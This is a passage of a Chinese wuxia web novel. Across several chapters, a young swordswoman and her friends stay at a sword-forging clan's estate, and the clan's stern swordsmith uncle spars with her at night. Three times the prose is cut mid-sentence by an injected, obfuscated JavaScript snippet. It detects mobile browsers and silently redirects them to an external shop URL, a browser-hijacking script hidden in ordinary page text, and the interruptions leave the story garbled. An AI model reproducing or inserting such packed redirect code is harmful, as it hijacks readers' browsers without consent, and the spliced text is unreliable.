他用手梳着碎发向后,头顶炸了几根头发,打着哈欠,一脸没睡好的憔悴,黑眼圈明晃晃地挂在脸上。 看到她,周向晚笑了下,挥了挥手,然而下一刻他的笑容就凝固在嘴角,变了味道。 陆家来的那位也看到了他。 周向晚的身板像是霜打的茄子,顷刻蔫儿了下来。 赵刀刀觉得他其实想要掉头就跑,但事实上他却站在原地,像是被揪住后颈的猫,四肢僵硬,神情间带着点儿畏缩,却硬撑着慢慢挺直后背。 赵刀刀扶额,沉默地看着眼前的闹剧。 那位名叫陆怀瑾的贵客向唐雪说了声抱歉,就往周向晚的方向走过去。 不知道是不是错觉,赵刀刀听到他手套下的指节发出了咔咔的响声。 陆怀瑾站在地上,周向晚在台阶上,二人的位置明明是陆怀瑾在低处,赵刀刀却觉得他在俯视周向晚。 他唤道,“陆向晚。” 周向晚一手死死抓着栏杆,一手紧紧握拳。“我姓周。” “哦?”陆怀瑾嗤笑了声,“你出息了,离家两年竟连姓都改了?” 周向晚不想回答。 陆怀瑾不计较这个,又道,“怎么,不是说要去武洲外面闯荡,留下信说你要去晚镇找什么人?”他的声音低沉而危险,“嗯?人呢?” 周向晚抿着嘴,颇有些不怕死地转过头不看他。 陆怀瑾笑道,“怎么,现在知道灰溜溜跑回来了?” 周向晚牙关咬紧,恨恨道,“我没有。” 陆怀瑾冷哼道,“你没有什么?你没有一言不合离家出走?没有目无尊长?还是没有不知悔改地回来了也像躲仇人一样躲着自家人?”他继续逼问,“你当初有胆子逃,现在却没胆子回来?” 这场面过于凄惨,甚至单方面气势碾压,赵刀刀替周向晚感到痛心,不忍再看。 周向晚瞪着眼睛与他对视,“你有什么资格说我?” “哦?我没资格?”陆怀瑾冷笑了一声,像是在看什么好戏一样,他金贵的手指撑着下巴,颇有耐心,慢条斯理道,“那你说说,你还想逃去哪?” 周向晚冲他道,“我没有逃,也不会逃!” 陆怀瑾打量着他,仿佛在看叛逆的小孩假装成熟,他们自以为的成熟在大人眼中其实满是破绽。他轻笑着,提了个看起来微不足道的要求,“那你跟我回去。” 周向晚一时又浑身带刺,将抗拒写在脸上。 陆怀瑾很有耐心,他不再重复,静静等着。 他像是在等他回答,抑或是等一个叛逆的孩子认输。 周向晚还站在台阶上,从赵刀刀的角度看去,他更高,却完全被笼罩在陆怀瑾的阴影下。 周向晚就是在这时候看向了赵刀刀和唐雪。 陆怀瑾顺着他的目光也看了过来。 他勾起嘴角,道,“原来你在外面混了这么久,还是不能靠自己做决定?” 周向晚反驳道,“我没有。她们是我的朋友!” 陆怀瑾笑了笑,“你竟有和唐家大小姐做朋友的本事,是我低看你。” 周向晚也有些生气了,他低吼道,“陆怀瑾,你能不能别这样说话了!” 陆怀瑾深深看了周向晚一眼,他激怒了周向晚,又轻描淡写地放过,向唐雪这边走来。 那一眼说不清什么含义,赵刀刀竟诡异地觉得,那好像是有点认可。认可什么?周向晚的愤怒吗?她感觉自己也有点头皮发麻。 陆怀瑾对唐雪的态度和周向晚截然相反,他行礼道,“唐大小姐本就是贵客,远道而来佩城,瑾未能第一时间尽地主之谊,实在罪过。” 赵刀刀觉得他的借口有些耳熟。 唐雪的嘴角也隐隐有抽动的趋势,若非她刚才亲眼目睹了一切,光看这副做派她也要信陆怀瑾只是个温和有礼的君子。但他此时的相邀显然不是为了她们,她推辞道,“我们也是刚到这里,没有要事,怎敢去府上叨扰。” 陆怀瑾直白道,“路途艰辛,劳烦唐大小姐一路照料小侄,总得给陆家一个报答的机会。” 赵刀刀都想鼓掌了,你这么直接地要了唐雪还能不给吗。大户人家,果真大户人家。 唐雪瞟了眼周向晚,他六神无主的,算了,唐雪点点头,“那就……劳烦陆家了。” 就这么敲定。 赵刀刀坐上马车时还有些恍惚。 她看着自己的黑刀,默默想到:赵小刀,你可能不知道,我今天觉得自己也像你一样,是个挂件。 幸好刀子精在睡觉,她也就想想。 唐雪弱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13063187|137808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弱出声,“周向晚,陆怀瑾是你小叔……” 周向晚道,“嗯。” 周向晚这会儿正常多了,唐雪好奇地看着他,“那你其实叫陆向晚?” “嗯。” 唐雪有些犹豫,但她实在好奇,“我以前怎么好像……没听过……”陆家有这号人? 这话有些戳人痛处,周向晚像是习惯了一样平淡着自嘲道,“没听过这个名字吧,因为我学艺不精。” 赵刀刀听出了他的自贬,他就差直白地指着自己的心口说,嗯,因为我不配。 有时候这也是一种勇气。 唐雪小心翼翼道,“对不起。” 周向晚道,“没事。”他早就不在乎了。 一时没有人再说话。 没多久就到了地方。 陆家与其说是府邸,却更像一个分工明确的工厂。 花草布局纵然再有情调,在这里也不会成为重点。 赵刀刀只觉得这里明明充满了某种粗犷的气息,却又严肃如精密相扣的齿轮。 相比于陆家的门扉牌匾,进门不久一块屹立在地上的巨石更令人印象深刻,那上面遒劲有力地刻着四个大字——“十年一剑”。 最令人称奇的是,这四个字不是一次刻成的,它像是被无数人加深过无数次,才达到现在的入木三分。而每一次的加深,都稳稳地承着前人的笔迹,绝不会超出一毫,也绝不会缩短一寸。 这是怎样一种精神。 赵刀刀看过无数大小门派炫耀门楣,可他们炫耀的总是前人的辉煌,那些被铭记于历史的高光纵然令人倾佩,却并不足以让她对那些所谓亲传了几代的弟子产生敬畏,因为那些光芒大多会被后人磨灭。 可是这一块石碑,却真正让她感受到了传承的力量。 有这么一代人,愿意以高超严格的标准,以近乎冷漠的执着,一代一代事无巨细地传承。 他们继往开来,从不忘记过去,从不停下脚步。 他们明明精确如机械,却蕴含着伟大的人性。 赵刀刀握紧了自己的刀,心中一股庄严敬意油然而生。 她从没见过这样的地方,在她看来这样的家族能够存在已然是一个奇迹。 陆怀瑾进门后便让周向晚带路,自己带着人去了别处。 唐雪他们走了两步,发现赵刀刀还在原地,她疑惑道,“……恩人?” 周向晚见赵刀刀还在看着那块巨石,顿了顿,道,“这上面刻的是我家的家训。”他带着一丝自己都没有察觉的自豪。 赵刀刀这才从某种玄而又玄的状态中回过神来。 她只轻轻说了两个字,“很好。” 话语化在风中,在她旁边的唐雪都未必能听到这两个字。 “谢谢你们陪我来。”周向晚道,又叹了口气,“唉,我先带你们去住处吧,你们先看看想挑哪间客房。” 唐雪应声,“好。”又问,“你呢,你的住处在哪,带我们看看?” 周向晚挠挠头,有些尴尬道,“我也不知道我那这些年有人打扫没,要是住不了我也住客房算了。” 唐雪惊讶道,“没有住处?你不是陆家少爷吗,怎么会有人家这样对自家少爷的?” 周向晚用一言难尽的眼神看着她,沉默半晌说,“你不懂。” 唐雪道,“你家还挺奇怪。” 周向晚没有否认,“走吧。” 23. 芍药 时隔两年再回到陆家,周向晚发现,这一路的景色和他离开时并无区别,一草一木,转角矮墙,都和记忆中相差无几,磕破一角的石桌还在,划过剑痕的石块仍在,仿佛时间停滞了,仿佛他从未离开过。 犹记得小时候觉得高大无比的灌木,一路变得低矮,然后就停在了那里,现在也依然是刚刚及腰的高度,可他记得清这些花草,却记不清十几岁后的每一天是怎么度过。 好像只是没有任何差别的每一天,平淡,重复,犹如一潭死水。 或许正因如此,他才忍不住想要出走。 他带着唐雪和赵刀刀绕过前厅,走过回廊,穿过花园,终于到了后院。 赵刀刀心中暗惊,陆家的客房竟在如此深入的地方。 或许是看出来她的诧异,周向晚解释道,“陆家从不留外客,这里原来是准备给陆家旁系的。” 唐雪惊讶道,“那我们怎么能住在这里?” 周向晚道,“唔……其实那已是很多年前的事,后来我也不知道这里有没有住进过别人,或许规矩早就变了。”他补充道,“反正要是没变,我小叔肯定不会让咱们就这样住进来的,他都没说什么,就是没事了,不用担心。” 唐雪望着他点点头,这才跟进去。 有侍从早就等在这里,见他们过来,说这里的几间房都是空的,可以随意挑选,周向晚便让她们先去挑。 打开门看,几乎每间的布局都很相似,一床一几,桌椅卧榻,只有摆设略微不同,朴实规整如寻常客栈,就是更宽敞些。 有一间里面正对门的墙上挂着一副字,开门便能一眼瞧见,颇有冲击力,上书四个大字——“十年一剑”,正是陆家大门那处岩石雕刻的翻版。 只有细微差别。 赵刀刀只是多停留了一刻,多看了一眼,唐雪就替她拍板决定,“恩人住这间吧!” 她没有拒绝。 赵刀刀看着腰间的黑刀,恍惚间倒真想扪心自问下自己何德何能了。 她还不是天下第一,怎么就有了这样的朋友。 她走进屋中细看,发现却和客栈不同,这里家具皆是上了年头的,能看出使用过的痕迹。不过保存的很好,都很结实,木头被时光打磨的黑中泛紫,散发着温润的光泽,加上整理的够干净,虽然布置简单,却给人一种温馨之感。 唐雪选了一间摆着花的屋子,和赵刀刀的隔了一间,离得很近。那屋子的熏香与其他几间尽然不同,不是草木香,是一股淡淡的花香。 周向晚说,这间屋子应该是后来才有的,他的印象中没有一间客房是这样特别。 唐雪就更加高兴的确定了住处。 赵刀刀默默看了眼还在兴头上的唐雪。 她笑得好开心,她值得这样的幸运。 唐雪弯着眼睛,笑意还未散去,问周向晚,“现在呢,我们一起去你那看看?” 周向晚道,“我自己过去吧,说不定要白跑一趟,你们要是无聊,就先在附近走走,我等下回来找你们。” 唐雪想了想,道,“那你别拖太久,要是太慢了我和恩人就一起去找你了。” “好。” 周向晚快步离开。 出了院落很远,他才踉跄着停下,怔怔看着脚下的砖路。 这里花香浮动,和唐雪那件屋子的熏香如出一辙,只是更浓郁,扑鼻而来,将人笼罩其中。 陆府中春季的花已经开始落败,园里的芍药长满花苞,只等着彻底盛放。 白色的花骨朵很多。 他记得那花卉盛开的模样,红者妍华艳丽,粉者芳香暗涌,白者亭亭玉立。 周向晚的脸色也苍白如纸,只是并不美丽。 他骗了唐雪她们。 陆家根本没有什么给客人用的地方,诺大个佩城怎么会没有住处,陆家自然也不缺,只是安排客人的地方不在这里。 可陆怀瑾偏偏让他带她们过来。 他踏进大门的时候隐隐意识到什么,却一直不敢细想。 直到唐雪推开那间屋子。 那屋子空荡荡,一切都很打扫的很干净。 墙上挂着和赵刀刀屋中一样的“十年一剑”题字。 不是这样的,不该是这样! 周向晚看到的第一眼就在心中激动地否定。 那间屋子是他母亲曾待过的。 那里面原挂着的不是字,是一幅三色芍药图,他父亲亲手所画,因为芍药他母亲最爱的花。 他们一家本住在一处,后来他待烦了地方,也因为实在不喜欢整天和父母低头不见抬头见,磨着父亲好半天才被准许住到别院。 不过就算搬出去,他仍会经常过来找母亲谈心,母亲总是坐在那幅画下,温柔地说着话。 那些时光恍如隔日。 花香仍在,屋子里却没有花了。 他平复心情,一时想要冲去找陆怀瑾问个清楚,一时又不愿面对他那脾气古怪的小叔。 周向晚的脚步被绊在这里,远远望去像是沉溺于花园美景。 或许是搬到别处了,他强迫自己不要乱想。 周围路过侍女,低呼道,“陆少爷?” 他抬头。 那侍女惊到,她刚才看着背影就觉得熟悉,居然真的是?她下意识道:“少爷真的回来了?” 又赶紧捂住了嘴怕自己说错什么。 周向晚冲她笑笑,无奈的点点头,他此刻并不想和任何人说话。 侍女眼中有喜悦之意,不过还是连忙行礼退下。 他看着这条走过无数次的小径,步调虚浮地顺着记忆走到自己离家前的住处。 却被拦下了。 守卫不认识他,毫不留情地阻拦,语气生硬,“二当家的住处,不可私闯。” 周向晚做惊吓状,抱有歉意地尴尬笑笑,道,“不好意思,我走错路了。” 他毫不犹豫地转身离去,像一个刚来陆府不久的客人,对这里还不太熟悉。 守卫古怪地打量着这个少年人离开的背影,只觉得他好没朝气——毕竟陆家宅子里满是志气凌云的年轻人,很少见到这样的。守卫一时怀疑自己是不是看错了,揉了揉眼,见陆向晚消失在拐角,便也不再纠结。 唐雪正坐在院子的榆树下,背靠石桌,百无聊赖地从树梢间望天。 她抱怨道,“周向晚好慢啊。” “嗯。”赵刀刀还在想那四个字。 唐雪道,“恩人。” 赵刀刀看过去,“怎么?” 唐雪将头靠过来,低声道,“我听我爹说其实陆怀瑾也是个厉害剑客。” 赵刀刀有些兴趣,道,“是么,好像没听你提起过。” 唐雪坐直身子,双眼炯炯有神,手在空中绕着圈子,像在分享什么很重要的秘闻,“因为陆家不参与江湖纷争嘛,他们不去争个高低,世人怎么知道他们什么水平,江湖榜上几乎没从出现过陆家人的名字,我以前也就只知道他们铸剑很有一手。”她压低声音评价道,“藏得还挺深。” 赵刀刀笑了笑,附和道,“确实。” 不过对一个以铸剑为生的家族来说,在江湖榜上无名未必不是一件好事。赵刀刀问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13063188|137808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“那唐堡主是怎么知道他很厉害的?” 唐雪道,“我爹年轻时候好像与他见过,那时候他还很小,但剑术已经练得像模像样,我爹说,他那时候就觉得,陆怀瑾日后必定大有作为。” 赵刀刀若有所思地点点头。 唐雪偷笑道,“恩人,你知道吗,我爹说陆怀瑾那时候就像个小大人了,看起来沉稳的不行,陆家当时有很多和他一起练剑的弟子,但他硬是能把别人都比下去,而且他赢了看起来也没有很高兴,反而把别人气的不轻。” 赵刀刀笑道,“那确实很厉害。”可惜她有些想象不来那是什么模样。 唐雪与她又说了几句,忽然有些犹豫地停下。 赵刀刀问,“怎么了?” 唐雪看着她,这才说出自己一路的苦恼,慢慢道,“恩人你说,我们是该叫他周向晚呢……还是陆向晚?”她晃头晃脑,头上的簪子碰撞出清脆的响声,叹了一口气,道,“他居然摇身一变成了陆家少爷,还是这个陆家啊!感觉像换了个人一样,我都不敢认他了。” 赵刀刀歪着头,不明白她的纠结,“为什么不敢认,你也是唐家大小姐啊。” 唐雪一听又高兴起来,点点头,“那倒是!” 赵刀刀耳朵一动,她听到了门外的脚步声,打断了还在陆和周念个不停的唐雪,“至于要叫他什么,不如当面问问他。” 唐雪停下,“也是!” 这时候周向晚正好进来,他笑着问,“你们在聊什么,聊这么开心?” 唐雪看着他,笑道,“在聊你。” 周向晚一愣,不明所以,“我怎么了?” 唐雪托着下巴意味深长道,“我们现在到底是该叫你陆向晚……还是周向晚呢?” 周向晚张了张嘴,“这还用纠结?” 唐雪轻哼一声,“这怎么不用纠结?我都叫习惯你周向晚了,换个名字像换了个人一样,真别扭。” 周向晚拿着扇子一下一下敲在手心,想了想,道,“那在陆府期间就叫我陆向晚吧,其他时候和以前一样就行,毕竟我虽然不出名,陆府还是有些人知道我的,这样也不用过多解释,免得他们瞎猜。” 赵刀刀看着他,突然道,“陆向晚。” 周向晚看向她,“嗯?” 赵刀刀摇头,“没事,我也习惯下。” 周向晚点点头,“那我们先去吃饭,等吃过饭我再带你们熟悉熟悉。” “对了,你们打算什么时候去看剑炉啊,已经定了吗?”周向晚问唐雪。 唐雪道,“好像是下个月之前……他们还没说具体时间。” 周向晚思考片刻道,“每到月底陆家会休息两天,剑炉里的人就不会那么多了。应该就是那时候。” 唐雪嘿嘿笑了声,调侃道,“我看你还对这里记得很熟嘛,你既然喜欢这里为什么还要不告而别啊?” 周向晚轻笑着摇头,一展扇遮住自己的半张脸,“这你就想错了,我记得熟只是我记性好,怎么就是喜欢了?” 唐雪惊奇道,“还能这样……”她想象不来自己对唐家堡不告而别的模样,想离开的话不能直接说吗,不过这是陆家家事,她没有多说,转了调儿催促道,“你不是说要吃饭,愣着干什么,快带路吧。” 周向晚走在前面带路。 一边走,一边颇为风流的扇着扇子。 等到地方,赵刀刀吃着吃着忽然觉得哪里不对,她仔细想了半天,才发觉这一路周向晚的扇子都没合上,一直保持着一个姿态扇着。 他平时会这样扇一路扇子吗?好像没见过。 24. 刀剑 到陆府已有四日。 在这四天里,唐雪和赵刀刀发现周向晚比之前沉默许多。 唐雪有些意外,周向晚在陆家的能说上话的朋友居然不多,甚至除了在本家待久的人,很多陆家人都不知道他是谁。 她打听到,周向晚有位从没对她们提起过的表妹,小时候关系不错,可惜后来也断了联系。 周向晚和那表妹算是青梅竹马,不过表妹十几岁就离家去了峦岳派,后来一年最多回来一两次,问起来,周向晚说他都有些忘了表妹的样子,自从她离开后,他就再也没见过她。 倒不是有意岔开,只是每次她回来的时候周向晚都恰好错过,等她走了才知道这回事儿。 赵刀刀跟着唐雪长了不少见识,她终于知道了那天见到的人是什么身份——陆怀瑾是位铸剑师。 但又不只是铸剑师,他的声望一时无两——可以说,他就是佩城儿女心尖尖儿上的人物。 据说他有一双神奇的手,不至于点石成金,但凡是经他手出来的宝剑,无一不是江湖中人人追捧的利器。 赵刀刀想,真这么厉害,与点石成金也相差无几了。 所以佩城的武器摊主心中都有一个梦想:希望哪天陆怀瑜能路过自家门前,然后碰一碰自己摊上的刀剑。 据说只要他碰过一把剑,就能知道这把剑的弱点在何处,再加以改进,哪怕是中品的刀剑也能一跃成为上品。 可惜,哪怕佩城正是兵器之乡,哪怕陆家的位置在佩城妇孺皆知,哪怕陆怀瑾就在陆家—— 却还是很难见到。 这样的神秘反而更令人追捧。 陆怀瑾声望之盛,仿佛他已不是一个单纯的人,更像是一个万人向往的梦想,一种难以言说的荣耀。 他不但年纪轻轻就接手了陆家剑阁,还亲手打造过两把举世闻名宝剑。 一柄是峦岳派张长老的秋水剑,一柄是刺客赵无意的逍遥剑。 这二人都是江湖榜上赫赫有名的人物。 张长老根据断水剑法孤本创新断水剑谱,一生孤傲,只求剑道。峦岳派能有今天的名声,有一半归功于他不懈传承,不断进取,将断水剑发扬光大。 赵无意虽是刺客,却颇有风骨,从不乱杀无辜之人。据说他杀人不看出价,只要理由,更有传言说他曾只身闯入贺家堡禁地只为了杀一个人,事后还能全身而退。而凡是他接了的单——这些人都已不在世上。 他们一个排在第八,一个排在第十。 而他们的剑,从他们成名之日起,便再也没有和他们分开过。 剑的锋利自不必多说,一个人能造出两把剑完全不同的剑,适应这样两个截然不同的剑客,才是人们津津乐道之处。 所以陆怀瑾在佩城人心中已是神一般的存在。 陆府也成了令人心向神往的地方。 周向晚对此不置可否。 是夜。 在夜里,万籁俱寂。 陆家明明是铸剑世家,府内却少有灯火。 所以月光格外皎洁,星空也格外清晰。 在这蓝紫色的,深沉又高远的天空下。 人心容易变得柔软,思绪也容易变得敏感。 赵刀刀正坐在屋顶吹风。 她已沐浴过,练刀后的燥热被清洗一空,头发上的水珠落在背上,衣物沾染了水珠,晕开一片水渍,风吹过就更凉。 她没有擦干头发,她还不想弄干。 这样的清凉让她感到舒适,坐在高高的屋顶上也让她感到自在。 一个人能在这样的夜晚下做自己想做的事,岂不正是一种幸福。 她的黑刀正放在旁边。 院里的榆树被吹的沙沙作响。 这里让她觉得安全又惬意,她的身心都得到了彻底的放松,思绪也开始胡乱地打转。 陆怀瑾打造过两把宝剑。 赵刀刀想到唐雪的话—— 陆怀瑾本身不正是一个剑客。 所以……他是不是还造过第三把剑? 赵刀刀将黑发扎起,用内力烘干些。 她轻声道,“你醒了?” 刀子精刚醒。“嗯。” “我总觉得你比之前还要嗜睡。” “或许是来到这里还不太适应。” 赵刀刀思考了下这种猜测,觉得很有可能。 她接着说,“我在山上的时候从没有想过自己还能去到这么多地方。” 刀子精笑了笑,“现在呢?” 赵刀刀思索片刻,发出一声悠长的叹息,道,“真好。” 刀子精道,“我也觉得挺好。” 赵刀刀闻言两眼弯弯,正想要调侃两句,却突然噤了声。 他们住的院门处不知什么时候起站了一个人。 赵刀刀起身,望向他。 榆树的影子遮挡了他。 他一动不动,就像一个黑影站在影子里。 但他的目光说明了他不是一个影子,因为他也抬起了头,冷冷地望着赵刀刀。 突然他动了。 赵刀刀提刀追去。 他们穿过院落,掠过长亭,翻过高墙。 他终于停下,赵刀刀也停下。 他望着赵刀刀,好像轻轻嗤笑了一声,就冲了上来。 他还没有拔剑,赵刀刀亦没有拔刀。 他们空手过招。 他出掌,掌风破空,赵刀刀抬手挡下,迎势而上,跃起飞出一脚,砰的一声,攻势被他手中长剑剑鞘挡下,赵刀刀立刻翻身躲开剑鞘,刚落在地上,第二招已到! 她弯腰撑地,撤步向后,又自下而上向他攻去,拳在他面前只差毫厘,被一只手截住,她用一只手控着刀柄撞去,如泥鳅一般收回自己的手。 正欲出声—— 忽然寒光一闪,赵刀刀知道,他剑已出鞘! 她眯着眼紧握刀柄,顷刻间也拔出了自己的黑刀! 又是一声轻哼。 这简直是在挑衅。 但他的剑却和这惹人厌的脾气不同! 他长剑清扬,飘身而来,衣摆在空中飘扬,剑锋向赵刀刀所在疾速点来。 赵刀刀侧身躲去,也快到只剩影子,眨眼间他们已过十招。 赵刀刀转守为攻,抓住剑招空隙,用黑刀自下而上直取面门! 只听叮的一声轻响,赵刀刀后退三步。 两人中间隔着三丈。 赵刀刀看向他的指间,就是那只手,刚刚拦下了她的刀! 她低笑一声,握紧了刀柄,目光炯炯。 她的头发已完全干了。 她飞身而上,提刀劈去,看到他以剑相迎,突然转了方向化劈为削,直取他握剑的右手! 他又轻哼一声。 本用右手握剑接招,却突然松手,赵刀刀一愣,他的剑落在左手,反手挥来! 赵刀刀低喝一声,下叉仰身,剑身贴着她的鼻尖擦过! 她迅速起身,却为时已晚! 剑光一闪。 她握着黑刀横在胸前,撤步而立。 赵刀刀抬头,她的瞳孔收缩—— 他的剑不知什么时候又巧妙地交换到右手,已指在她的眉间。 赵刀刀并步站直,呼出一口气,放下了刀。 他勾起嘴角,似乎有几分愉悦。 “你输了。”他收回长剑。 “嗯。” “你的刀法不错。” 赵刀刀自嘲一笑,“可我输了。” 眼前人心情不错,扬眉道,“对年轻人来说,输是一件好事,你会变得更强。” 赵刀刀盯着他看了片刻,才应道,“你说的对。” 这里也有一棵高大的榆树,榆树下也有石桌和石凳。 他走到桌边,将剑放在石桌上,坐下。 赵刀刀跟着他走到桌边,只是站着。 他望过来,那眼神像是在说,你怎么还站着? 她也坐下,将黑刀横在膝上。 赵刀刀想要目不斜视规矩地坐着,但她的目光却有意无意地掠过他的手。 那上面戴着一双黑色的手套。 陆怀瑾也静静看着自己的手。 这张桌子上已经摆了酒,酒香混着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13063189|137808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夜风吹来的清香,这样美好的夜晚总是令人沉醉。但这张桌子上还摆着长剑,又令人不敢彻底沉醉。 陆怀瑾出声道,“你好像很好奇?” 赵刀刀咽了咽口水,“嗯。” 她出手去探自己的刀柄,指尖轻轻搭在上面,仿佛这样能令她安心些。 陆怀瑾眼中有笑意,却问起了另一件事,“周向晚的扇子还在用吗?” 赵刀刀微微一怔,点了点头。 陆怀瑾打量着她,轻笑道,“不必这么紧张。” “嗯。” “吓着你了?” “没有。” “我想也是。” 陆怀瑾的手搭上了桌边的酒杯,不过他不打算喝酒,只是虚拢着酒杯。 美酒在月光下晶莹剔透,轻轻摇曳。 他缓缓道,“他很信任你。” “……是。” “他离家两年,陆家发生了一些事。” 赵刀刀看向他,不解道,“你为什么要和我说这些?” 陆怀瑾的指尖轻敲酒杯,缓缓道,“因为我不打算和他说这些。” 赵刀刀制止道,“你不该和我说这些,这是你们的家事。” 陆怀瑾道,“你很懂得分寸,所以我告诉你,你也不会告诉他。” 赵刀刀皱眉,“我该回去了。” 她还未起身,膝上的黑刀被出鞘的长剑压下。 赵刀刀歇了离开的意思,她好像听见来自刀子精的一声轻哼。 陆怀瑾终于说明来意,“等他出了佩城,到了柳州,你就可以告诉他。” 赵刀刀惊讶道,“你不打算见他?” “呵,”陆怀瑾道,“我只答应唐雪带你们两个去剑炉,那小子看过几百遍,自然不用去看。” 赵刀刀还是不解,“你为什么不亲自告诉他呢?” 陆怀瑾问,“你觉得他更喜欢听谁说话?” 他好像只是问了一个不相干的问题。 赵刀刀张了张嘴,低下头。 她不明白。 人总是喜欢对外人亲诉衷肠,却对亲近恶语相向。 这不是一件好事。 但总是一件常事。 总觉得自己能寻到真正的知心好友,却忘了最近的地方还一直有人等着。 等着什么呢? 等着挑灯夜谈?等着把酒言欢?还是——等着更激烈的爆发? 或许正是因为再过激烈的冲突也不会将血脉分离,反而有恃无恐,变本加厉。 陆怀瑾清楚,这一点上,他与周向晚也没什么不同。 可他们天生不够柔软,也不必为了表面的和平强求自己。 赵刀刀抬头,轻声问,“那些芥蒂就一直存在吗?” 陆怀瑾看着她,“他以后会懂。” 赵刀刀不想替他们接下这样的折磨,“那不就是一两句话就能说清的事……” 陆怀瑾笑了笑,问,“你真的觉得说清了矛盾就不会存在了吗?” 赵刀刀失语。 陆怀瑾道,“我从不认为那些冲突是假的,而那些所谓的交流,也未必真的就不虚伪。” 他说,“我不想他知道太早,强撑着对我认错,然后留在这里。” 他望着酒杯里的星空,“就像其他孩子一样。” 那么高远又广阔的天空,被装在一个小小的酒杯中,一眼就望到了底。 赵刀刀觉得自己的喉头好像被什么东西梗住,“可——” 陆怀瑾笑道,“你也可以不说,等他再回来我会告诉他,如果等得到的话。” 周向晚的小叔真的很恶劣。 赵刀刀的睫毛动了动,她缓缓闭上眼睛,又慢慢地睁开,“你应该去抱抱他。” 正如他也应该来到你的面前,与你抵足而眠。 人总是对亲近恶言相向,人总是寻求外人的理解。 原来有些话注定说不出口。 而他们还不愿强求。 可不论怀有多么大的抵抗,有时候只需要一个眼神,又可以亲密如初。 所以他不会见他。 25. 剑炉 赵刀刀发现,当天气开始变热,晚上开始变得比白天更令人眷恋。 可她却无法肆意地享受佩城的夜晚,比这更可怕的是,她竟开始有些怀念那个总是刮着冷风的山门。 她无奈扶额,这当然是不该有的想法—— 一切都源于那天晚上。 自那天之后,她总会莫名其妙被拉去与陆怀瑾过招。 一开始还算新鲜,有心思去琢磨陆怀瑾的出招和自己的遗漏,后来随着天气变热,交手变多,陆怀瑾似乎发现了她的出招习惯,摸准了她的出手方式,他下手更狠,变招更多,赵刀刀的进攻总是被轻易化解,不得不以守为主,变得被动起来。 被人看穿的感受不太好受,她的刀势从未如此迟滞,瞻前顾后,依旧频频败退,绞尽脑汁也难寻突破之点。 佩城人的心尖尖儿——陆怀瑾百忙之中不忘每天抽时间虐她,这份殊荣让赵刀刀有些乱了步调,都快习惯失败了。 他剑法精湛,出招冷酷无情,如狂风骤雨,但最难的还不在此,赵刀刀一边要应对他的剑,一边还要提防着他的手,实在心力憔悴。 陆怀瑾虽是剑客,却不完全依赖剑,他的手套刀枪不入,空手亦是武器,打到畅快时随心所欲,抛弃招式,像是哪里来的野路子。比起武器,长剑更像是他手的延伸,一个剑招能化出千万种变招,还不一定是用剑——用手挡刀,以手作剑,招式之灵活多样让人目不暇接,赵刀刀过往所学对上他完全不起作用。 与他对战,一切都是从头学起。 赵刀刀每天深夜躺在床上都睡不着,她反复回忆,勤思苦练,迎来的就是第二天又被新的招式击败。 虽然自知这段时间一定有所进步,但她还是有些郁闷。 一个铸剑师不好好铸剑,把武功练这么好做什么? 经此一役,赵刀刀再听到周向晚抱怨他小叔的时候,已能真心实意能体会到他的苦楚,频频点头附和。 幸好还有刀子精每天安慰她,缓解了心灵上的伤痛。 她不止一次满怀恶意地想到:陆怀瑾没去行走江湖,绝对是天下人的损失!所有人都该看看他这副嚣张狂傲的嘴脸,这样的人怎么能被佩城人当成神呢?! 难以想象周向晚原来在家的生活是多么水深火热。 难怪他要跑。 终于快到去剑炉的日子了,她才可以缓缓。 周向晚最近也觉得赵刀刀看着他的目光有些诡异,有时赵刀刀不在,他说着说着感受到芒刺在背一般的视线就知道是她回来了。 他不知道自己说了什么引得她如此对待,赵刀刀见了他总是板着脸不说话,就站在一边直勾勾盯着他,令人汗毛竖立。 他以为是赵刀刀觉得陆府太无趣,等不及去看剑炉,就开始拿他出气。 经不住心中抱怨道,都怪陆怀瑾。 周向晚后来硬着头皮私下去找过陆怀瑾几次,可惜老人家神龙见首不见尾,每次他都铩羽而归。 府中的人也说近来没有见过二当家,既然人忙成这样,周向晚不好一再打扰,只得歇了心思,在心里怨怼两句。 大约是因为离家许久,这次阴差阳错回到陆家,待着的这些时日周向晚竟丝毫不觉得时间漫长。 可惜好景不长,当唐雪与那些小丫头打成一片之后,周向晚开始觉得他们有点待太久了。 再待下去,唐雪都要把他那些少年糗事扒个底朝天了。 他都不知道那表妹还给自己写过什么信,送过什么花,也不记得自己小时候天天缠着人家玩。 完全没印象的事被一件件从唐雪嘴里说出来,他已经疲于招架。 老天啊,行行好,快带走她们吧! 周向晚一见唐雪就忍不住由衷地祈祷。 出发去剑炉这天很热。 